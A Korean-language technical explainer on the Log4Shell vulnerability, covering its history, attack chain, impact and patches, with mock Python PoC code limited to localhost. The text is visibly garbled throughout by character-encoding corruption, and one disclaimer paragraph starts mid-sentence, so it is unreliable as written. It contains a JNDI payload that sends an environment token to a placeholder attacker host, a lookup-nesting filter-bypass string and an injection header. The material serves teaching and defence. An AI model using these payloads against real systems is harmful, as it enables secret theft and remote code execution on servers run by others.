1. ๋ฐฐ๊ฒฝ/์ญ์ฌ โ '๋ก๊น ๋ผ์ด๋ธ๋ฌ๋ฆฌ'๊ฐ ์ธํฐ๋ท์ ๋จ์ผ ์คํจ์ ์ด ๋๋ค
Log4j๋ Ceki Gรผlcรผ๊ฐ 2001๋ ์ ๋ง๋ ์๋ฐ ๋ก๊น ํ๋ ์์ํฌ๋ก, ์ง๊ธ์ Apache Software Foundation ์ Apache Logging Services ํ๋ก์ ํธ๋ค. ๋ฌธ์ ๋ ์ด ๋ผ์ด๋ธ๋ฌ๋ฆฌ๊ฐ '์ง์ ์ฐ๋ ํ๋ก๊ทธ๋จ'์๋ง ๋ค์ด๊ฐ๋ ๊ฒ ์๋๋ผ, TomcatยทElasticsearchยทKafkaยท์๋ง์ ํ๋ ์์ํฌ์ ์์ฉ ์ ํ์ ์์กด์ฑ(dependency) ์ผ๋ก ๊ฐ์ ์ ์ผ๋ก ๋๋ ค ๋ค์ด๊ฐ๋ค๋ ์ ์ด๋ค. ๊ฐ๋ฐ์๋ Log4j๋ฅผ ์ด ์ ์ด ์๋๋ฐ๋ ์๊ธฐ ์๋น์ค๊ฐ ์ทจ์ฝํด์ง๋ค โ ์ ํ์ ์ธ ๊ณต๊ธ๋ง(supply-chain) ์ทจ์ฝ์ ์ด๋ค.
Log4j 2 ์ ๋ฉ์์ง ๋ฃฉ์
(message lookup) ๊ธฐ๋ฅ์ ๋ก๊ทธ ๋ฌธ์์ด ์์
${prefix:name} ํจํด์ ์คํ ์์ ์ ํด์ํด ๊ฐ์ ์ฑ์ ๋ฃ๋๋ค. ์๋ฅผ ๋ค์ด
log.info("version=${java:version}") ์ ๊ทธ ์์ ์ JVM ๋ฒ์ ์ ์ฐ๋๋ค.
ํธ๋ฆฌํ ๊ธฐ๋ฅ์ด์ง๋ง, ํด์ ๋์์ ${jndi:...} ๊ฐ ํฌํจ๋๊ณ
JNDI ๊ฐ ์๊ฒฉ ์ ์ฅ์(LDAP/RMI)๋ฅผ ์ฐธ์กฐํ ์ ์๊ฒ ์ด๋ ค ์์๋ค. ๋ ๊ธฐ๋ฅ์ด
๊ฒน์น๋ฉด์, '๋ก๊ทธ์ ๊ธฐ๋ก๋๋ ์์์ ์
๋ ฅ'์ด ๊ณง ์๊ฒฉ ์ฝ๋ ์คํ ๊ฒฝ๋ก๊ฐ ๋๋ค.
- 2013๋
โ ์จ์: JNDI ๋ฃฉ์
์ Log4j 2
2.0-beta9๋ถํฐ ์กด์ฌํ๋ค. ์ฆ ์ด ๊ฒฐํจ์ ์ฝ 8๋ ๊ฐ ์๋ฌด๋ ๋ชจ๋ฅธ ์ฑ ์ฝ๋์ ๋จ์ ์์๋ค. ์ทจ์ฝ์ ์ '๋ฐ๊ฒฌ'๋ ๋ ์๊ธด ๊ฒ ์๋๋ผ, ๊ทธ๋ ์ฒ์ ์ธ์์ ์๋ ค์ง ๊ฒ๋ฟ์ด๋ค. - 2021-11-24 โ ๋น๊ณต๊ฐ ์ ๋ณด: Alibaba Cloud Security ํ์ Chen Zhaojun ์ด Apache ์ ๋น๊ณต๊ฐ๋ก ๊ฒฐํจ์ ์ ๋ณดํ๋ค.
- 2021-12-09 โ ๊ณต๊ฐยทํจ์น: ์ทจ์ฝ์ ์ด ๊ณต๊ฐ๋๊ณ ๊ฐ์ ์๊ธฐ ํจ์น๊ฐ ๋์๋ค.
์ด๋ฆ Log4Shell ์ LunaSec ์ Free Wortley ๊ฐ ๋ถ์๊ณ ,
2021-12-10 ์
CVE-2021-44228์ด ๋ถ์ฌ๋๋ค. Apache ๋ ๋ง์ ์ธ CVSS 10.0 ์ ๋งค๊ฒผ๋ค(NVD ๋ 10.0). - ๊ท๋ชจ๊ฐ ๊ณง ์ํ: ์ ๋ฌธ๊ฐ๋ค์ ์์ต ๋ ๊ธฐ๊ธฐ๊ฐ ์ ์ฌ์ ์ํฅ๊ถ์ด๋ผ๊ณ ๋ดค๊ณ , WizยทEY ์กฐ์ฌ๋ ๊ธฐ์ ํด๋ผ์ฐ๋ ํ๊ฒฝ์ 93% ๊ฐ ์ทจ์ฝ ์ํ์๋ค๊ณ ์ง๊ณํ๋ค. Tenable ์ "์ญ์ฌ์ ๋จ์ผ ์ต๋ยท์ต์ ์ ์ทจ์ฝ์ ", Ars Technica ๋ "์ธํฐ๋ท์ ๋ํ ์ํ ์ค ๊ฐ์ฅ ์ฌ๊ฐํ ์ ์๋ค"๊ณ ํํํ๋ค.
- ์ทจ์ฝ์ : CVE-2021-44228 (Log4Shell) โ JNDI ์ธ์ ์ ์ ํตํ ์๊ฒฉ ์ฝ๋ ์คํ(RCE)
- ๋์ ์ปดํฌ๋ํธ: Apache Log4j 2 โ
log4j-core(2.0-beta9 ~ 2.14.1, 2.15.0 ๋ ๋ถ๋ถ ์ทจ์ฝ ยท 2.12.2/2.12.3/2.3.1 ์์ธ) - ์ํ๋: CVSS 10.0 (NVD:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) โ ์ธ์ฆยท์ฌ์ฉ์ ์ํธ์์ฉ ๋ถํ์ - ์ ๋ณด/๊ณต๊ฐ: Chen Zhaojun (Alibaba Cloud Security), 2021-11-24 ๋น๊ณต๊ฐ ์ ๋ณด โ 2021-12-09 ๊ณต๊ฐยทํจ์น โ 2021-12-10 CVE ๋ถ์ฌ
- ํต์ฌ ๊ธฐ๋ฒ: ๋ฉ์์ง ๋ฃฉ์
์นํ(
${jndi:...}) โ JNDI โ LDAP/RMI/DNS/IIOP ์กฐํ โ ์๊ฒฉ ํด๋์ค ๋ก๋ฉ / ์ญ์ง๋ ฌํ โ RCE. ์ฝ๋ ์คํ์ด ๋งํ๋ DNSยทLDAP ์ฝ๋ฐฑ์ผ๋ก ๋ฐ์ดํฐ ์ ์ถ(OOB) ๊ฐ๋ฅ - ์ฐ์ ์ทจ์ฝ์ : CVE-2021-45046(9.0) ยท 45105(5.9) ยท 44832(6.6) โ ํ๋์ "์"์ด ์๋๋ผ ์ฐ์๋ ์์ ๋ผ์ด๋
- ์ํฅ: ์ ์ฌ ์์ต ๋ ๊ธฐ๊ธฐ ยท ๊ธฐ์ ํด๋ผ์ฐ๋ 93% ์ทจ์ฝ ยท ๊ณต๊ฐ 10์ผ ๋ค ํ๊ท 45%๋ง ํจ์น(WizยทEY)
- ์์ ์ด๋ ฅ: 2.15.0 โ 2.16.0(๋ฃฉ์ /JNDI ๊ธฐ๋ณธ ๋นํ์ฑ) โ 2.17.0 โ 2.17.1
- ์ฐ๊ณ ์ํ: MuhstikยทMiraiยทTsunami ๋ด๋ท ์ค์บ ยท ์ฝ์ธ๋ง์ด๋ ยท Conti ๋์ฌ์จ์ด(12-17 ํ์ธ) ยท ์ด๋ยท์ค๊ตญ ์ฐ๊ณ ๊ทธ๋ฃน(Check Point)
2. ๊ฐ์ผยท์ ํ ๊ฒฝ๋ก โ "์์ด ์๋๋ผ, ์ทจ์ฝํ ์ฝ๋ ๊ฒฝ๋ก๋ค"
Log4Shell ์ ์์ด ์๋๋ค. ์ค์ค๋ก ๋ณต์ ํ๊ฑฐ๋ ๋ค๋ฅธ ์๋ฒ๋ฅผ ์ฐพ์๋ค๋์ง ์๋๋ค. ๋์ "๋ก๊ทธ๋ก ๊ธฐ๋ก๋๋ ๋ชจ๋ ์ ๋ ฅ"์ด ๊ณต๊ฒฉ ํ๋ฉด์ด ๋๋ค โ ๊ทธ๋์ ๋ฐฉ์ด์ ์ ์ฅ์์ ์ด๋๋ฅผ ๋ง์์ผ ํ ์ง ์๊ธฐ ์ด๋ ต๋ค.
- ์
๊ตฌ๋ ์ด๋์๋: ์น ์์ฒญ์
User-AgentยทX-Api-Version๊ฐ์ HTTP ํค๋, URL ๊ฒฝ๋กยท์ฟผ๋ฆฌ, ๋ก๊ทธ์ธ ํผ ํ๋, SSO/๊ธฐ๊ธฐ ๋ฑ๋ก ํ๋, ๊ทธ๋ฆฌ๊ณ Minecraft: Java Edition ์ ์ฑํ ๋ฉ์์ง๊น์ง โ ๋ก๊น ๋๋ ์๊ฐ ๋ฐ๋ํ๋ค. "์ด๋ฆ ํ๋๋ ๋์ค์ ๋ค๋ฅธ ๋ด๋ถ ์ฒ๋ฆฌ์์ ๋ก๊ทธ๋ก ๋จ์ ์ ์๋ค"๋ ์ ์ด ํจ์ ์ด๋ค. - ๊ณต๊ฒฉ ์ฒด์ธ 5๋จ๊ณ: โ ์ฌ์ฉ์ ์
๋ ฅ์ด ๋ก๊ทธ ๊ฐ์ฒด๋ก ์ ๋ฌ โ
โก Log4j ๊ฐ
${jndi:...}๋ฅผ ์นํ โ โข ์ทจ์ฝ ์๋ฒ๊ฐ ๊ณต๊ฒฉ์ LDAP/RMI ์๋ฒ๋ก outbound ์ฐ๊ฒฐ โ โฃ LDAP ์๋ต์ด ์๊ฒฉ ํด๋์ค ์ฐธ์กฐ (javaNamingReference) ๋๋ ์ง๋ ฌํ ๊ฐ์ฒด(javaSerializedData)๋ฅผ ๋ฐํ โ โค ์ทจ์ฝ ์๋ฒ๊ฐ codebase URL ์์ ํด๋์ค๋ฅผ ๋ฐ์ ๋ก๋ยท์คํ โ RCE. - ์คํ์ด ์ ๋์ด๋ ์์ด ๋๊ฐ๋ค: ํ๊ฒฝ๋ณ์๋ ๋น๋ฐ๊ฐ์ URL ๊ฒฝ๋ก์
์ค์ด ์กฐํํ๋ฉด(
${jndi:ldap://attacker/${env:TOKEN}}), ์คํ๊น์ง ๊ฐ์ง ์์๋ ๊ณต๊ฒฉ์ DNS/LDAP ์ฝ๋ฐฑ์ผ๋ก ๊ฐ์ด ์ ๋ฌ๋๋ค. "RCE๋ฅผ ๋ชป ํ๋ฉด ๊ด์ฐฎ๋ค"๋ ๊ฐ์ ์ด ์ฑ๋ฆฝํ์ง ์๋ ์ด์ ๋ค. - ๋น ๋ฅธ ๋๋ํ(์ค์บ ํญ์ฃผ): ๊ณต๊ฐ ์งํ ์ธํฐ๋ท ์ ์ฒด๊ฐ ์ด ํจํด์ ์ค์บํ๋ค. Muhstik ๋ด๋ท์ด 12-10, ์ด์ด MiraiยทTsunami ๊ฐ ๊ฐ์ธํ๋ค. Cloudflare CEO ๋ ์ ์ฉยท์ค์บ ํ์ ์ด 12-01๊น์ง ๊ฑฐ์ฌ๋ฌ ์ฌ๋ผ๊ฐ๋ค๊ณ ๋ฐํ๋ค โ ๊ณต๊ฐ 9์ผ ์ ์ด๋ค. ๊ณต๊ฐ 24์๊ฐ ๋ด ์ต์คํ๋ก์ ๋ณํ์ด 60์ข ์ด์ ๋ง๋ค์ด์ก๋ค.
- ๊ณต๊ฒฉ์ ๊ณ์ธต์ ์งํ: ๋จผ์ ์ฝ์ธ๋ง์ด๋ ๋ฌด๋ฆฌ โ ๋ฐ์ดํฐ ๋ธ๋ก์ปค๊ฐ ์นจํด๋ ์ ๊ทผ๊ถ(foothold)์ ์ค๊ฐยทํ๋งค โ ์ต์ข ๊ตฌ๋งค์๊ฐ ๋์ฌ์จ์ดยท์คํ์ดยท๋ฐ์ดํฐ ํ๊ดด๋ก ์ ํ. Conti ๋ 12-17 ๋ถํฐ ์ด ์ทจ์ฝ์ ์ ์ฌ์ฉํ ๊ฒ์ด ๊ด์ธก๋๋ค.
์์ฝํ๋ฉด Log4Shell ์ '์ ํ'๋ ์์ ์๊ธฐ๋ณต์ ๊ฐ ์๋๋ผ "์ธํฐ๋ท ์ ์ฒด ์ค์บ + ์๋ํ๋ ๋ฃฉ์ "์ด๋ค. ์ทจ์ฝํ ์ฝ๋ ํ ์ค์ด ์ด๋ฏธ ์ด๋ ค ์๋ ๋ฌธ์ด์๊ณ , ๊ณต๊ฒฉ์๋ ๋ฌธ์ ๋๋๋ฆฌ๊ธฐ๋ง ํ๋ฉด ๋๋ค.
3. ๋์ ์๋ฆฌ ์์ธ โ ๋ฃฉ์ ํ ์ค์ด RCE๊น์ง ๊ฐ๋ ๊ตฌ์กฐ
ํต์ฌ์ Log4j 2 ์ ๋ฉ์์ง ๋ฃฉ์
์นํ์ด๋ค. ๊ธฐ๋ณธ ์ค์ ์์ ๋ก๊ทธ ๋ฌธ์์ด์
${prefix:name} ํํ์ ํํ์์ด ์์ผ๋ฉด, Log4j ๋ ์ด๋ฅผ ์คํ ์์ ์ ํด์ํ๋ค.
Text: ${java:version} โ Text: Java version 1.7.0_67 ์ฒ๋ผ ๋ง์ด๋ค.
์ธ์๋๋ ํํ์์ ${jndi:<lookup>} ๊ฐ ์์๊ณ , JNDI ์กฐํ ๋์์
LDAP ๋ฑ ์๊ฒฉ ์๋ฒ๋ก ์ง์ ํ ์ ์์๋ค โ ์ธ๋ถ์ ์์ URL ์ Java ๊ฐ์ฒด
๋ฐ์ดํฐ๋ก ๊ฐ์ ธ์ค๋ ๊ฒ์ด๋ค.
- JNDI ๋: ๋ฐํ์์ '์ด๋ฆ โ ๊ฐ์ฒด'๋ฅผ ์ฐพ์์ฃผ๋ Java ์ธํฐํ์ด์ค๋ค. ์ฌ๋ฌ ๋๋ ํฐ๋ฆฌ ํ๋กํ ์ฝ์ ์ง์ํ๋๋ฐ, ๊ทธ์ค LDAP ์ Java ์ ์ฉ์ด ์๋ ํ์ค ํ๋กํ ์ฝ์ด๋ฉฐ ์๊ฒฉ ์๋ฒ์์ ๊ฐ์ฒด ๋ฐ์ดํฐ๋ฅผ URL ๋ก ๊ฐ์ ธ์จ๋ค. ๊ทธ๋์ ๊ณต๊ฒฉ์๋ ์๊ธฐ LDAP ์๋ฒ๋ฅผ ์ธ์๋๊ณ , ์ทจ์ฝ ์๋ฒ๊ฐ ์ค์ค๋ก ์ ์ํ๊ฒ ๋ง๋ ๋ค.
- ํด๋์ค๊ฐ ๋ก๋๋๋ ์ง์ : LDAP ์๋ต์ด
javaNamingReference(์๊ฒฉ codebase + ํฉํ ๋ฆฌ ํด๋์ค) ๋ฅผ ๋ฐํํ๋ฉด, ์ทจ์ฝ ์๋ฒ๋ ๊ณต๊ฒฉ์ HTTP ์๋ฒ์์.classํ์ผ์ ๋ด๋ ค๋ฐ์ ๋ก๋ํ๋ค. ์ด๋ ์ ์ ์ด๊ธฐํ์(static initializer) ๊ฐ ์คํ๋๋ฉฐ ๋ช ๋ น์ด ์ํ๋๋ค โ ์ฌ์ฉ์ ์ฝ๋ ํธ์ถ ์์ด๋ RCE ๋ค.javaSerializedData(์ง๋ ฌํ ๊ฐ์ฒด)๋ฅผ ๋ฐํํ๋ ๊ฒฝ๋ก๋ ์ญ์ง๋ ฌํ ๊ฐ์ ฏ ์ฒด์ธ์ผ๋ก ์ด์ด์ง๋ค. - ๋ฐ์ดํฐ๋ง ๋นผ๋ด๊ธฐ(OOB): ์ฝ๋ ์คํ์ด ์ฐจ๋จ๋ผ๋
${env:..}ยท${sys:..}๊ฐ์ ๋ค๋ฅธ ๋ฃฉ์ ์ URL ์ ์ค์ฒฉํ๋ฉด, ํด์๋ ๊ฐ์ด ๊ณต๊ฒฉ์ ์๋ฒ๋ก ์กฐํ ์์ฒญ์ ์ค๋ ค ๋๊ฐ๋ค(DNS/LDAP ์ฝ๋ฐฑ). ๋น๋ฐ๊ฐ ์ ์ถ์ RCE์ ๋ ๋ฆฝ์ ์ผ๋ก ๊ฐ๋ฅํ๋ค. - ๋๋
ํ ์ฐํ: ๋จ์ํ
jndi๋ฌธ์์ด์ ์ฐจ๋จํ๋ ๋ฐฉ์ด๋${${lower:j}ndi:...}๋ก ์ฐํ๋๋ค โlower๋ฃฉ์ ์ด ๋จผ์ ํด์๋ผjndi๊ฐ ๋๊ธฐ ๋๋ฌธ์ด๋ค. URL ์ธ์ฝ๋ฉ(%24%7B), ๋ฏธ์ฌ์ฉ ๋ฃฉ์ ์ฝ์ , ๋์๋ฌธ์ ๋ณํ ๋ฑ ๋ณํ์ด ์์ญ ๊ฐ์ง๋ค. ๋ฌธ์์ด ๋งค์นญ์ ํํฐ์ผ ๋ฟ, ๊ฒฝ๊ณ๋ ์๋๋ค. - ๊ทผ๋ณธ ์์ธ 3๊ฐ์ง: (1) ๊ธฐ๋ณธ ํ์ฑ ๋ฃฉ์ ๊ธฐ๋ฅ์ด '๋ก๊ทธ ๋ฌธ์์ด'์ ๋ํด ๋์ํ๊ณ , (2) JNDI ๊ฐ ์๊ฒฉ codebase/์ง๋ ฌํ๋ฅผ ํ์ฉํ๋ฉฐ, (3) ์ฌ์ฉ์ ์ ๋ ฅ์ด ๋ก๊ทธ๋ก ํ๋ฌ๊ฐ๋ ์ผ์ด ์ง๋์น๊ฒ ํํ๋ค. ์ ์ค ํ๋๋ง ์์์ด๋ ์ด ์ฌ๊ณ ๋ ์์๋ค.
์์ ์ด๋ ฅ โ ํ ๋ฒ์ ๋๋์ง ์์๋ค:
| CVE | CVSS | ๋ฌด์ | ์์ |
|---|---|---|---|
| CVE-2021-44228 (Log4Shell) | 10.0 | ๋ฉ์์ง ๋ฃฉ์ ์ JNDI ๋ฏธ๋ณดํธ โ LDAP ๋ฑ์ผ๋ก ์๊ฒฉ ์ฝ๋ ์คํ | 2.16.0 |
| CVE-2021-45046 | 9.0 | 2.15.0 ์ ์์ ์ด ๋ถ์์ โ MDC ์ ๋ ฅ + ๋น๊ธฐ๋ณธ ํจํด์์ RCE/์ ์ถ | 2.16.0 |
| CVE-2021-45105 | 5.9 | ์๊ธฐ์ฐธ์กฐ ๋ฃฉ์ ๋ฌดํ ์ฌ๊ท โ ์๋น์ค ๊ฑฐ๋ถ(DoS) | 2.17.0 |
| CVE-2021-44832 | 6.6 | JDBC Appender + LDAP ๋ฐ์ดํฐ์์ค URI โ RCE | 2.17.1 |
๊ตฌ๋ฒ์ ์ํ์ฑ
๋ ์์๋ ํ์๊ฐ ์๋ค. classpath ์์
org.apache.logging.log4j.core.lookup.JndiLookup ํด๋์ค๋ฅผ ์ ๊ฑฐํ๋ ๋ฐฉ๋ฒ๊ณผ,
log4j2.formatMsgNoLookups=true ์์คํ
์์ฑ์ด ๋๋ฆฌ ์ฐ์์ง๋ง ํ์๋
2.15.0 ๊ธฐ์ค์ผ๋ก CVE-2021-45046 ์ ๋ง์ง ๋ชปํด ๋ถ์ถฉ๋ถํ๋ค. JRE ์ธก๋
com.sun.jndi.ldap.object.trustURLCodebase=false ๊ฐ ๊ธฐ๋ณธ๊ฐ์ด ๋๋ฉด์(JDK 8u191 /
11.0.1 ์ดํ) ํ๋ฒํ ์๊ฒฉ ํด๋์ค ๋ก๋ฉ์ ๋งํ์ง๋ง, ์ง๋ ฌํ ๊ฐ์ ฏ ๋ฑ ๋ค๋ฅธ ๋ฒกํฐ๊ฐ
๋จ์ "์ต์ JDK๋ฉด ์์ ํ๋ค"๋ ๋ณด์ฅ์ ๋์ง ์์๋ค. ์ฐธ๊ณ ๋ก ์ค์ ๋ก ์ทจ์ฝํ ํจํค์ง๋
log4j-core ๋ฟ์ด๊ณ , ์ด๊ธฐ ๊ถ๊ณ ์์ ํจ๊ป ํ์๋ log4j-api ๋
์์์ฑ์ผ๋ก ์ ์ ๋๋ค.
4. ํผํด ๊ท๋ชจ/์ํฅ โ ์ค์ ์ซ์
- CISA ๊ตญ์ฅ Jen Easterly: "๋ด ๊ฒฝ๋ ฅ์์ ๋ณธ ๊ฐ์ฅ ์ฌ๊ฐํ ์ทจ์ฝ์ ์ค ํ๋, ์๋ ๊ฐ์ฅ ์ฌ๊ฐํ ์๋" โ ์์ต ๋ ๊ธฐ๊ธฐ๊ฐ ์ํฅ๊ถ์ด๋ผ๊ณ ๋ฐํ๋ฉฐ ๋ฒค๋์ ์ต์ฐ์ ํจ์น๋ฅผ ๊ถ๊ณ ํ๋ค.
- WizยทEY ์กฐ์ฌ(2021-12-20): ๊ธฐ์ ํด๋ผ์ฐ๋ ํ๊ฒฝ์ 93%๊ฐ ์ทจ์ฝ, ๊ทธ์ค 7%๋ ์ธํฐ๋ท์ ๋ ธ์ถ๋ผ ๊ด๋ฒ์ํ ์ ์ฉ์ ์ทจ์ฝ. ๊ณต๊ฐ 10์ผ ๋ค์๋ ํ๊ท ํจ์น์จ์ 45%์ ๊ทธ์ณค๋ค.
- ์ค์บยท๊ณต๊ฒฉ์ ํญ: ๊ณต๊ฐ 24์๊ฐ ๋ด ๋ณํ 60์ฌ ์ข , 12-14 ๊ธฐ์ค ์ ์ธ๊ณ ๊ธฐ์ ๋คํธ์ํฌ์ ์ ๋ฐ ๊ฐ๋์ด ๋ฅ๋์ ์ผ๋ก ์ค์บ๋นํ๋ค. Check Point ๋ ์๋ฐฑ๋ง ๊ฑด์ ๊ณต๊ฒฉ์ ๊ด์ธกํ๊ณ ์ผ๋ถ ์ฐ๊ตฌ์์๋ ๋ถ๋น 100๊ฑด ์ด์, ๊ธฐ์ ๋คํธ์ํฌ์ 40% ์ด์์ด ํ์ ์ด ๋๋ค.
- ์ ๋ถยท๊ณต๊ณต: ๋ฏธ๊ตญ์ ์ฐ๋ฐฉ ๋ฏผ๊ฐ๊ธฐ๊ด์ 12-24๊น์ง ํจ์น๋ฅผ ์๋ฌดํํ๊ณ , FTC ๋ 2022-01-04 Log4j ๋ฅผ ๊ฐฑ์ ํ์ง ์์ ๊ธฐ์ ์ ์ ์ฌ๋ฅผ ์ทจํ๊ฒ ๋ค๊ณ ๊ฒฝ๊ณ ํ๋ค. ๋ ์ผ BSI ๋ ์ต๊ณ ์ํ ๋ฑ๊ธ("๊ทน๋์ ์ํ ์ํฉ")์ ์ ์ธํ๊ณ , ์บ๋๋ค ๊ตญ์ธ์ฒญ(CRA)์ ์จ๋ผ์ธ ์๋น์ค๋ฅผ ์์ ์ค๋จ, ํ๋ฒก ์ฃผ์ ๋ถ๋ ์ฝ 4,000๊ฐ ์น์ฌ์ดํธ๋ฅผ ์๋ฐฉ์ ์ผ๋ก ํ์ํ๋ค. ๋ฒจ๊ธฐ์ ๊ตญ๋ฐฉ๋ถ๋ ์นจํด ์๋๋ฅผ ๊ฒช๊ณ ๋คํธ์ํฌ ์ผ๋ถ๋ฅผ ์ฐจ๋จํด์ผ ํ๋ค. ์ค๊ตญ ๊ณต์ ์ ๋ณดํ๋ถ๋ ์ทจ์ฝ์ ์ ์ ๋ถ์ ๋จผ์ ์๋ฆฌ์ง ์์๋ค๋ฉฐ Alibaba Cloud ์ ์ํ์ ๋ณด ํํธ๋ ์๊ฒฉ์ 6๊ฐ์ ์ ์ง์์ผฐ๋ค.
- ๊ธฐ์ ยท์๋น์ค: AWSยทCloudflareยทiCloudยทMinecraftยทSteamยทTencent QQ ๋ฑ ๊ด๋ฒ์ํ ์๋น์ค๊ฐ ์ํฅ์ ๋ฐ์๋ค. ์ธ์ฌยท๊ทผํ SaaS ์ธ UKG(Kronos) ๋ ๋์ฌ์จ์ด ํผํด๋ฅผ ์ ์๊ณ Log4Shell ์ฐ๊ด์ฑ์ ๋ ผ์์ด ๋๋ค(ํ์ฌ๋ "์ฆ๊ฑฐ ์๋ค", ๋ถ์๊ฐ๋ค์ "๊ฐ๋ฅ์ฑ ์๋ค").
- ํ์ ์ ํ์ฅ: ์ค๋งํธTVยทCCTV ์ฒ๋ผ Java ๊ธฐ๋ฐ ๊ฐ์ธ๊ธฐ๊ธฐ, ๊ทธ๋ฆฌ๊ณ ๋จ์ข ๋ผ ์์ ํจ์น๊ฐ ๋์ค์ง ์์ ์ํํธ์จ์ด๊น์ง ํฌํจ๋๋ค. Sophos ์ฐ๊ตฌ์๋ "๋ฌธ์ ๋ ์ด๋ฏธ ๋ซ๋ ค์ ์กฐ์ฉํ ์์ ์๋ ๊ณต๊ฒฉ์๋คโฆ ์ธํฐ๋ท์ด ์กด์ฌํ๋ ํ ๊ณ์ ๋จ์ ๊ฒ"์ด๋ผ๊ณ ๊ฒฝ๊ณ ํ๋ค.
- ์ํ ์ฃผ์ฒด์ ๋ค์ํ: ๋ด๋ท(MiraiยทTsunamiยทMuhstik), ๋์ฌ์จ์ด (Conti, 12-17), ์ฝ์ธ๋ง์ด๋, ๊ทธ๋ฆฌ๊ณ ์ด๋ยท์ค๊ตญ ์ฐ๊ณ ๊ทธ๋ฃน (Check Point: 12-15 ์ด๋ ๋ฐฐํ ํด์ปค๊ฐ ์ด์ค๋ผ์ ๊ธฐ์ ยท์ ๋ถ๊ธฐ๊ด ์นจํฌ ์๋)๊น์ง ๊ฐ์ ์ทจ์ฝ์ ์ ๋์์ ์ฌ์ฉํ๋ค.
127.0.0.1 ๊ณผ ๋ฌธ์์ฉ ์์ฝ ๋๋ฉ์ธ(*.lab.local)์ด๋ฉฐ,
์ธํฐ๋ท๊ณผ ๋ถ๋ฆฌ๋ ๊ฒฉ๋ฆฌ ๋ฉ VM์์๋ง ์คํ์ ์ ์ ๋ก ํฉ๋๋ค. ์ค์ ์์คํ
ยท
ํ์ธ ์์ฐ์ ๋ํ ์คํ์ ๋ถ๋ฒ์
๋๋ค.
5. PoC โ ๊ต์ก์ฉ ๋ชจ์ ์ฝ๋ 4์ข (๋ก์ปฌ ์ค์ต ์ ์ )
Log4Shell ์ 4๋ ๊ตฌ์ฑ ์์ โ โ ๋ฉ์์ง ๋ฃฉ์
์นํ ์์ง, โก JNDI/LDAP ์ฝ๋ฐฑ(๋ฌดํดํ
์์ ๊ธฐ), โข ๋๋
ํ ๋์ ํ์ง๊ธฐ, โฃ ์ทจ์ฝํ/ํจ์นํ ๋น๊ต โ ๋ฅผ ๊ฐ๊ฐ ์ต์ ํํ๋ก
์ฌํํ๋ค. ์๋ ์คํ ๊ฒฐ๊ณผ๋ ์ด ๊ธ์ ์ฐ๋ฉฐ ์ค์ ๋ก ์คํํ ์ถ๋ ฅ์ด๋ค
(๋ฉ VM, Python 3, ๋ชจ๋ ๋์ 127.0.0.1).
PoC โ ๋ฉ์์ง ๋ฃฉ์ ์นํ ์์ง โ ์ '๋ก๊ทธ ๋ฌธ์์ด'์ด ์คํ๋๋๊ฐ
# mock_log4j.py (๋ฐ์ท) โ ์ค์ Log4j ์๋. '๋ฉ์์ง ๋ฃฉ์
์นํ' ๊ตฌ์กฐ๋ง ์ฌํํ๋ค.
_PAT = re.compile(r"\$\{([^{}]*)\}") # ๋ก๊ทธ ๋ฌธ์์ด์ ${ prefix : name }
def substitute(msg, guard=False):
if guard: # ํจ์นํ: ๋ฃฉ์
์์ฒด๋ฅผ ์ํํ์ง ์๋๋ค
return msg
cur = msg
for _ in range(6): # ์ค์ฒฉ ${...} ์ ์์ชฝ๋ถํฐ ๋ฐ๋ณต ํด์
nxt = _PAT.sub(lambda x: do_lookup(*x.group(1).split(":", 1))
if ":" in x.group(1) else x.group(0), cur)
if nxt == cur: break
cur = nxt
return cur
์คํ ๊ฒฐ๊ณผ(์ด๋ฒ ์คํ ์ค์ ์ถ๋ ฅ):
[โ ] ๋ฉ์์ง ๋ฃฉ์
์นํ ์์ง ์ฌํ (Log4j 2 ๊ธฐ๋ณธ ๋์)
์
๋ ฅ: user=guest logged in at ${date:now}
๊ฒฐ๊ณผ: user=guest logged in at 2021-12-09
์
๋ ฅ(๋ก๊ทธ๋ก ํ๋ฌ๋ ํค๋): GET / HTTP/1.1 User-Agent: ${jndi:ldap://127.0.0.1:1389/Basic/Command/lab}
๊ฒฐ๊ณผ: GET / HTTP/1.1 User-Agent: [JNDIโldap://127.0.0.1:1389/Basic/Command/lab]
์ ์ ๋ฃฉ์
(date)์ด 2021-12-09 ๋ก ์นํ๋ ๊ฒ๊ณผ, ๋ก๊ทธ๋ก
ํ๋ฌ๋ ํค๋์ ${jndi:...} ๊ฐ ์ค์ ์กฐํ๋ก ์ด์ด์ง ๊ฒ์ ๊ฐ์
์์ง์์ ํ์ธํ ์ ์๋ค. ์ฐจ์ด๋ 'ํ๋ฆฌํฝ์ค๊ฐ jndi ๋' ๋ฟ์ด๋ค โ
๋ก๊ทธ๋ฅผ ๋จ๊ธฐ๋ ํ์๊ฐ ๊ณง ์ธ๋ถ ์ฐ๊ฒฐ์ ํธ๋ฆฌ๊ฑฐํ๋ค.
PoC โก ๋ชจ์ LDAP ์ฝ๋ฐฑ โ ์ทจ์ฝ ์๋ฒ๊ฐ '๋จผ์ ' ์ ์ํ๋ค
์๋ ๋ฆฌ์ค๋๋ ์์ ๋ง ๊ธฐ๋กํ๋ฉฐ, ์ค์ ๊ณต๊ฒฉ์ฒ๋ผ ์๊ฒฉ ํด๋์ค ์ฐธ์กฐ๋ฅผ ๋ฐํํ์ง ์๋๋ค(๊ทธ ๋ถ๋ถ์ ์๋์ ์ผ๋ก ๊ตฌํํ์ง ์์๋ค).
# PoC โก : ๋ชจ์ JNDI/LDAP ์ฝ๋ฐฑ ๋ฆฌ์ค๋ โ ์ค์ ๊ณต๊ฒฉ์ด๋ฉด '์๊ฒฉ ํด๋์ค ์ฐธ์กฐ'๋ฅผ ๋๋ ค์ค๋ค.
# ๋ณธ PoC ๋ '์์ ์ฌ์ค๋ง' ๊ธฐ๋กํ๋ฉฐ ์
์ฑ ํด๋์ค/ํ์ด๋ก๋๋ฅผ ์ผ์ ์ ๊ณตํ์ง ์๋๋ค.
def mock_ldap_listener():
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.bind((HOST, PORT)); srv.listen(8) # 127.0.0.1:1389
while not STOP.is_set():
conn, addr = srv.accept()
data = conn.recv(512)
HITS.append((addr[0], data.decode("utf-8", "replace")))
conn.close()
์คํ ๊ฒฐ๊ณผ(์ด๋ฒ ์คํ ์ค์ ์ถ๋ ฅ):
[โก-๊ฒฐ๊ณผ] ๋ชจ์ LDAP ๋ฆฌ์ค๋ ์์ ์ฝ๋ฐฑ 4๊ฑด:
โ 127.0.0.1 : LDAP-BIND ldap://127.0.0.1:1389/Basic/Command/lab
